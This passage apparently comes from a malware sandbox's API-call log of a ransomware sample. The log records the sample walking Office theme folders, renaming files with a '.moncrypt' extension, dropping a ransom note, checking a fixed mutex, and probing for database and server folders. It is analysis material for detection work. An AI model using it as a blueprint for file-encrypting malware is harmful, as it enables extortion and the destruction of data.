[0054.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpUsedDefaultChar=0x0) returned 71 [0054.505] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0054.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\WATER\\WATER.INF", lpUsedDefaultChar=0x0) returned 4 [0054.505] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0054.505] GetLastError () returned 0x12 [0054.505] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.505] GlobalLock (hMem=0x440004) returned 0x550170 [0054.505] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.505] GlobalUnlock (hMem=0x440004) returned 0 [0054.505] GlobalLock (hMem=0x440004) returned 0x550170 [0054.505] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.505] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.505] GlobalUnlock (hMem=0x440004) returned 0 [0054.505] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.505] GlobalUnlock (hMem=0x44000c) returned 0 [0054.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d58, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0054.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41aa3a00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41aa3a00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.506] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.506] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.506] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.506] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.506] GlobalUnlock (hMem=0x44000c) returned 0 [0054.506] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.506] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.506] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.506] GlobalUnlock (hMem=0x44000c) returned 0 [0054.506] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.506] GlobalUnlock (hMem=0x440004) returned 0 [0054.506] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.506] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x41aa3a00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41aa3a00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.506] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.506] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.506] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.506] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.506] GlobalUnlock (hMem=0x440004) returned 0 [0054.506] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.506] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.506] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.506] GlobalUnlock (hMem=0x440004) returned 0 [0054.506] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.507] GlobalUnlock (hMem=0x44000c) returned 0 [0054.507] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.507] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a7d8a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41a7d8a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41a7d8a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0054.507] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.507] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.507] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.507] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.507] GlobalUnlock (hMem=0x44000c) returned 0 [0054.507] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.507] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.507] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.507] GlobalUnlock (hMem=0x44000c) returned 0 [0054.507] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.507] GlobalUnlock (hMem=0x440004) returned 0 [0054.507] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.507] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0054.507] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.507] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.507] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.507] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.507] GlobalUnlock (hMem=0x440004) returned 0 [0054.507] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.507] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.507] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.507] GlobalUnlock (hMem=0x440004) returned 0 [0054.507] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.507] GlobalUnlock (hMem=0x44000c) returned 0 [0054.507] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.508] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa69a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0054.508] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.508] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.508] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.508] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.508] GlobalUnlock (hMem=0x44000c) returned 0 [0054.508] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.508] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.508] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.508] GlobalUnlock (hMem=0x44000c) returned 0 [0054.508] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.508] GlobalUnlock (hMem=0x440004) returned 0 [0054.508] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.508] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10291, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM.moncrypt", cAlternateFileName="WATERE~1.MON")) returned 1 [0054.508] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.508] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.508] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.508] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.508] GlobalUnlock (hMem=0x440004) returned 0 [0054.508] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.508] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.508] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.508] GlobalUnlock (hMem=0x440004) returned 0 [0054.508] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.508] GlobalUnlock (hMem=0x44000c) returned 0 [0054.508] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.508] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0054.508] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.509] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.509] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.509] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.509] GlobalUnlock (hMem=0x44000c) returned 0 [0054.509] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.509] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.509] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.509] GlobalUnlock (hMem=0x44000c) returned 0 [0054.509] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.509] GlobalUnlock (hMem=0x440004) returned 0 [0054.509] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.509] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0054.509] GetLastError () returned 0x12 [0054.509] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0054.509] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0054.509] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0054.509] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0054.510] GlobalLock (hMem=0x440004) returned 0x550170 [0054.510] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.510] GlobalUnlock (hMem=0x440004) returned 0 [0054.510] GlobalLock (hMem=0x440004) returned 0x550170 [0054.510] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.510] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.510] GlobalUnlock (hMem=0x440004) returned 0 [0054.510] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.510] GlobalUnlock (hMem=0x44000c) returned 0 [0054.510] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.510] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.510] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.510] GlobalUnlock (hMem=0x44000c) returned 0 [0054.510] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.510] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.510] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.510] GlobalUnlock (hMem=0x44000c) returned 0 [0054.510] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.510] GlobalUnlock (hMem=0x440004) returned 0 [0054.510] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.510] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR") returned 1 [0054.510] GlobalLock (hMem=0x440004) returned 0x550170 [0054.510] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.510] GlobalUnlock (hMem=0x440004) returned 0 [0054.510] GlobalLock (hMem=0x440004) returned 0x550170 [0054.510] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.511] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.511] GlobalUnlock (hMem=0x440004) returned 0 [0054.511] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.511] GlobalUnlock (hMem=0x44000c) returned 0 [0054.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0054.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@姺U姎U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0054.511] GetLastError () returned 0x3 [0054.511] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0054.511] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0054.511] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18㿬Q\x181")) returned 0xffffffff [0054.512] GetLastError () returned 0x2 [0054.512] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0054.512] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.512] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@몤R企@\x18?T\x18;")) returned 0xffffffff [0054.512] GetLastError () returned 0x2 [0054.513] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0054.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0054.513] GetLastError () returned 0x2 [0054.513] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0054.513] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.513] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@奌U企@\x18몤R\x18j")) returned 0xffffffff [0054.514] GetLastError () returned 0x2 [0054.514] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0054.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0054.514] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0054.514] GetLastError () returned 0x2 [0054.514] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a650, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\몠RP") returned 6 [0054.514] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0054.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6c0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0054.515] GetLastError () returned 0x2 [0054.515] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\") returned 0x41 [0054.515] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 